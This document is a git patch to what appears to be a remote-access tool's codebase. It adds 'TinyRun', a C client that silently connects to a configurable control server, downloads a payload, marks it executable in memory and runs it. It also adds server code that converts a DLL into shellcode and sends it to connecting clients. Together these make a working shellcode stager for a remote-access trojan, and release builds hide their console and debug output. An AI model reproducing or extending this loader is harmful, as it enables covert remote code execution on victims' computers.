From 2c4e8528b8f8353a73fb00e93d82164f95a88afa Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Sun, 25 May 2025 20:57:43 +0800 Subject: [PATCH] feature: Add a C program to execute shell code --- 2019Remote.sln | 10 ++ client/TinyRun.vcxproj | 153 ++++++++++++++++ client/TinyRun.vcxproj.filters | 22 +++ client/TinyRun.vcxproj.user | 4 + client/main.c | 190 ++++++++++++++++++++ server/2015Remote/2015RemoteDlg.cpp | 56 +++++- server/2015Remote/2015RemoteDlg.h | 3 +- server/2015Remote/2015Remote_vs2015.vcxproj | 6 + 8 files changed, 435 insertions(+), 9 deletions(-) create mode 100644 client/TinyRun.vcxproj create mode 100644 client/TinyRun.vcxproj.filters create mode 100644 client/TinyRun.vcxproj.user create mode 100644 client/main.c diff --git a/2019Remote.sln b/2019Remote.sln index c10b956..31f139c 100644 --- a/2019Remote.sln +++ b/2019Remote.sln @@ -19,6 +19,8 @@ Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution 使用花生壳.txt = 使用花生壳.txt EndProjectSection EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TinyRun", "client\TinyRun.vcxproj", "{E3F3A477-05BA-431D-B002-28EF8BFA6E86}" +EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|x64 = Debug|x64 @@ -59,6 +61,14 @@ Global {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x64.Build.0 = Release|x64 {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.ActiveCfg = Release|Win32 {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.Build.0 = Release|Win32 + {E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Debug|x64.ActiveCfg = Debug|x64 + {E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Debug|x64.Build.0 = Debug|x64 + {E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Debug|x86.ActiveCfg = Debug|Win32 + {E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Debug|x86.Build.0 = Debug|Win32 + {E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Release|x64.ActiveCfg = Release|x64 + {E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Release|x64.Build.0 = Release|x64 + {E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Release|x86.ActiveCfg = Release|Win32 + {E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Release|x86.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE diff --git a/client/TinyRun.vcxproj b/client/TinyRun.vcxproj new file mode 100644 index 0000000..b3cc21c --- /dev/null +++ b/client/TinyRun.vcxproj @@ -0,0 +1,153 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {e3f3a477-05ba-431d-b002-28ef8bfa6e86} + TinyRunner + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + $(Configuration)\tiny + + + false + $(Configuration)\tiny + + + true + $(Platform)\$(Configuration)\tiny + + + false + $(Platform)\$(Configuration)\tiny + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Windows + true + true + false + mainCRTStartup + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Windows + true + true + false + mainCRTStartup + + + + + + + + + \ No newline at end of file diff --git a/client/TinyRun.vcxproj.filters b/client/TinyRun.vcxproj.filters new file mode 100644 index 0000000..6261953 --- /dev/null +++ b/client/TinyRun.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + 源文件 + + + \ No newline at end of file diff --git a/client/TinyRun.vcxproj.user b/client/TinyRun.vcxproj.user new file mode 100644 index 0000000..88a5509 --- /dev/null +++ b/client/TinyRun.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/client/main.c b/client/main.c new file mode 100644 index 0000000..c3ccd3c --- /dev/null +++ b/client/main.c @@ -0,0 +1,190 @@ +#define _WINSOCK_DEPRECATED_NO_WARNINGS +#define _CRT_SECURE_NO_WARNINGS +#include +#include +#include + +#ifdef _DEBUG +#include +#define Mprintf printf +#define IsRelease 0 +#else +#define Mprintf(format, ...) +#define IsRelease 1 +#endif + +#pragma comment(lib, "ws2_32.lib") + +#pragma pack(push, 1) +typedef struct PkgHeader { + char flag[8]; + int totalLen; + int originLen; +} PkgHeader; +#pragma pack(pop) + +PkgHeader MakePkgHeader(int originLen) { + PkgHeader header = { 0 }; + memcpy(header.flag, "Hello?", 6); + header.originLen = originLen; + header.totalLen = sizeof(PkgHeader) + originLen; + return header; +} + +int GetIPAddress(const char* hostName, char* outIpBuffer, int bufferSize) +{ + struct sockaddr_in sa = {0}; + if (inet_pton(AF_INET, hostName, &(sa.sin_addr)) == 1) { + strncpy(outIpBuffer, hostName, bufferSize - 1); + outIpBuffer[bufferSize - 1] = '\0'; + return 0; + } + + struct addrinfo hints = {0}; + struct addrinfo* res = NULL; + hints.ai_family = AF_INET; // IPv4 only + hints.ai_socktype = SOCK_STREAM; + hints.ai_protocol = IPPROTO_TCP; + if (getaddrinfo(hostName, NULL, &hints, &res) != 0 || res == NULL) { + return -1; + } + + struct sockaddr_in* ipv4 = (struct sockaddr_in*)res->ai_addr; + if (inet_ntop(AF_INET, &(ipv4->sin_addr), outIpBuffer, bufferSize) == NULL) { + freeaddrinfo(res); + return -2; + } + + freeaddrinfo(res); + return 0; +} + +const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut) { + if (!sIP || !sizeOut) return NULL; + + WSADATA wsaData; + if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) + return NULL; + + char serverIP[INET_ADDRSTRLEN] = { 0 }; + if (GetIPAddress(sIP, serverIP, sizeof(serverIP)) == 0) { + Mprintf("Resolved IP: %s\n", serverIP); + } else { + Mprintf("Failed to resolve '%s'.\n", sIP); + WSACleanup(); + return NULL; + } + + const int bufSize = (8 * 1024 * 1024); + char* buffer = (char*)malloc(bufSize); + if (!buffer) { + WSACleanup(); + return NULL; + } + + BOOL isFirstConnect = TRUE; + int attemptCount = 0, requestCount = 0; + do { + if (!isFirstConnect) + Sleep(IsRelease ? 120 * 1000 : 5000); + isFirstConnect = FALSE; + Mprintf("Connecting attempt #%d -> %s:%d \n", ++attemptCount, serverIP, serverPort); + + SOCKET clientSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (clientSocket == INVALID_SOCKET) + continue; + + DWORD timeout = 30000; + setsockopt(clientSocket, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout, sizeof(timeout)); + + struct sockaddr_in serverAddr = { 0 }; + serverAddr.sin_family = AF_INET; + serverAddr.sin_port = htons(serverPort); + serverAddr.sin_addr.s_addr = inet_addr(serverIP); + if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) { + closesocket(clientSocket); + continue; + } + + char command[4] = { 210, sizeof(void*) == 8, 0, IsRelease }; + char req[sizeof(PkgHeader) + sizeof(command)] = { 0 }; + PkgHeader h = MakePkgHeader(sizeof(command)); + memcpy(req, &h, sizeof(PkgHeader)); + memcpy(req + sizeof(PkgHeader), command, sizeof(command)); + int bytesSent = send(clientSocket, req, sizeof(req), 0); + if (bytesSent != sizeof(req)) { + closesocket(clientSocket); + continue; + } + + int totalReceived = 0; + if (requestCount < 3) { + requestCount++; + const int bufferSize = 16 * 1024; + time_t tm = time(NULL); + while (totalReceived < bufSize) { + int bytesToReceive = (bufferSize < bufSize - totalReceived) ? bufferSize : (bufSize - totalReceived); + int bytesReceived = recv(clientSocket, buffer + totalReceived, bytesToReceive, 0); + if (bytesReceived <= 0) { + Mprintf("recv failed: WSAGetLastError = %d\n", WSAGetLastError()); + break; + } + totalReceived += bytesReceived; + if (totalReceived >= sizeof(PkgHeader) && totalReceived >= ((PkgHeader*)buffer)->totalLen) { + Mprintf("recv succeed: Cost time = %d s\n", (int)(time(NULL) - tm)); + break; + } + } + } else { + closesocket(clientSocket); + break; + } + + PkgHeader* header = (PkgHeader*)buffer; + if (totalReceived != header->totalLen || header->originLen <= 6 || header->totalLen > bufSize) { + Mprintf("Packet too short or too large: totalReceived = %d\n", totalReceived); + closesocket(clientSocket); + continue; + } + unsigned char* ptr = buffer + sizeof(PkgHeader); + int size = 0; + BYTE cmd = ptr[0], type = ptr[1]; + memcpy(&size, ptr + 2, sizeof(int)); + *sizeOut = size; + if (cmd != 211 || (type != 0 && type != 1) || size <= 64 || size > bufSize) { + closesocket(clientSocket); + break; + } + closesocket(clientSocket); + WSACleanup(); + return buffer; + } while (1); + + free(buffer); + WSACleanup(); + return NULL; +} + +struct CONNECT_ADDRESS +{ + char szFlag[32]; + char szServerIP[100]; + char szPort[8]; + char szReserved[160]; +}g_Server = { "Hello, World!", "127.0.0.1", "6543" }; + +int main() { + int size = 0; + const char* dllData = ReceiveShellcode(g_Server.szServerIP, atoi(g_Server.szPort), &size); + if (dllData == NULL) return -1; + void* execMem = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (NULL == execMem) return -2; + memcpy(execMem, dllData + 22, size); + free((void*)dllData); + DWORD oldProtect = 0; + if (!VirtualProtect(execMem, size, PAGE_EXECUTE_READ, &oldProtect)) return -3; + + ((void(*)())execMem)(); + Sleep(INFINITE); + return 0; +} diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 2ab596a..5008ca3 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -178,6 +178,11 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent): CDial m_bmOnline[4].LoadBitmap(IDB_BITMAP_PROXY); m_bmOnline[5].LoadBitmap(IDB_BITMAP_HOSTNOTE); + for (int i = 0; i < PAYLOAD_MAXTYPE; i++) { + m_ServerDLL[i] = nullptr; + m_ServerBin[i] = nullptr; + } + InitializeCriticalSection(&m_cs); } @@ -185,8 +190,10 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent): CDial CMy2015RemoteDlg::~CMy2015RemoteDlg() { DeleteCriticalSection(&m_cs); - for (int i = 0; i < PAYLOAD_MAXTYPE; i++) + for (int i = 0; i < PAYLOAD_MAXTYPE; i++) { SAFE_DELETE(m_ServerDLL[i]); + SAFE_DELETE(m_ServerBin[i]); + } } void CMy2015RemoteDlg::DoDataExchange(CDataExchange* pDX) @@ -490,7 +497,28 @@ VOID CMy2015RemoteDlg::ShowMessage(BOOL bOk, CString strMsg) m_StatusBar.SetPaneText(0,strStatusMsg); //״̬ʾ } -Buffer* ReadKernelDll(bool is64Bit) { +BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction, LPVOID userData, DWORD userLength, + DWORD flags, LPSTR& outBytes, DWORD& outLength); + +bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuffer, int ulOriginalLength) { + if (originBuffer[0] == 'M' && originBuffer[1] == 'Z') { + LPSTR finalShellcode = NULL; + DWORD finalSize; + if (!ConvertToShellcode(originBuffer, ulOriginalLength, NULL, NULL, 0, 0x1, finalShellcode, finalSize)) { + return false; + } + compressedBuffer = new BYTE[finalSize]; + ulTotalSize = finalSize; + + memcpy(compressedBuffer, finalShellcode, finalSize); + free(finalShellcode); + + return true; + } + return false; +} + +Buffer* ReadKernelDll(bool is64Bit, bool isDLL = true) { BYTE* szBuffer = NULL; int dwFileSize = 0; @@ -513,15 +541,25 @@ Buffer* ReadKernelDll(bool is64Bit) { if (pData == NULL) { return NULL; } - dwFileSize = dwSize; + LPBYTE srcData = (LPBYTE)pData; + int srcLen = dwSize; + if (!isDLL) { // Convert DLL -> Shell code. + if (!MakeShellcode(srcData, srcLen, (LPBYTE)pData, dwSize)) { + Mprintf("MakeShellcode failed \n"); + return false; + } + } + dwFileSize = srcLen; szBuffer = new BYTE[sizeof(int) + dwFileSize + 2]; szBuffer[0] = CMD_DLLDATA; - szBuffer[1] = MEMORYDLL; + szBuffer[1] = isDLL ? MEMORYDLL : SHELLCODE; memcpy(szBuffer + 2, &dwFileSize, sizeof(int)); - memcpy(szBuffer + 2 + sizeof(int), pData, dwFileSize); + memcpy(szBuffer + 2 + sizeof(int), srcData, dwFileSize); // CMD_DLLDATA + SHELLCODE + dwFileSize + pData auto ret = new Buffer(szBuffer, sizeof(int) + dwFileSize + 2); delete[] szBuffer; + if (srcData != pData) + SAFE_DELETE_ARRAY(srcData); return ret; } @@ -557,6 +595,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog() } m_ServerDLL[PAYLOAD_DLL_X86] = ReadKernelDll(false); m_ServerDLL[PAYLOAD_DLL_X64] = ReadKernelDll(true); + m_ServerBin[PAYLOAD_DLL_X86] = ReadKernelDll(false, false); + m_ServerBin[PAYLOAD_DLL_X64] = ReadKernelDll(true, false); // ô˶ԻͼꡣӦóڲǶԻʱܽԶ // ִд˲ @@ -1454,7 +1494,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) } char version[12] = {}; ContextObject->InDeCompressedBuffer.CopyBuffer(version, 12, 4); - SendServerDll(ContextObject, is64Bit); + SendServerDll(ContextObject, typ == MEMORYDLL, is64Bit); break; } case COMMAND_BYE: // @@ -1733,9 +1773,9 @@ void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx) { } } -VOID CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool is64Bit) { +VOID CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit) { auto id = is64Bit ? PAYLOAD_DLL_X64 : PAYLOAD_DLL_X86; - auto buf = m_ServerDLL[id]; + auto buf = isDLL ? m_ServerDLL[id] : m_ServerBin[id]; if (buf->length()) { m_iocpServer->OnClientPreSending(ContextObject, buf->Buf(), buf->length()); } diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index fd05859..6554cbc 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -150,8 +150,9 @@ public: BOOL Activate(int nPort,int nMaxConnection); void UpdateActiveWindow(CONTEXT_OBJECT* ctx); void SendMasterSettings(CONTEXT_OBJECT* ctx); - VOID SendServerDll(CONTEXT_OBJECT* ContextObject, bool is64Bit); + VOID SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit); Buffer* m_ServerDLL[PAYLOAD_MAXTYPE]; + Buffer* m_ServerBin[PAYLOAD_MAXTYPE]; MasterSettings m_settings; static VOID CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject); static VOID CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject); diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index 1dd3791..beea8e4 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -282,6 +282,12 @@ + + NotUsing + NotUsing + NotUsing + NotUsing +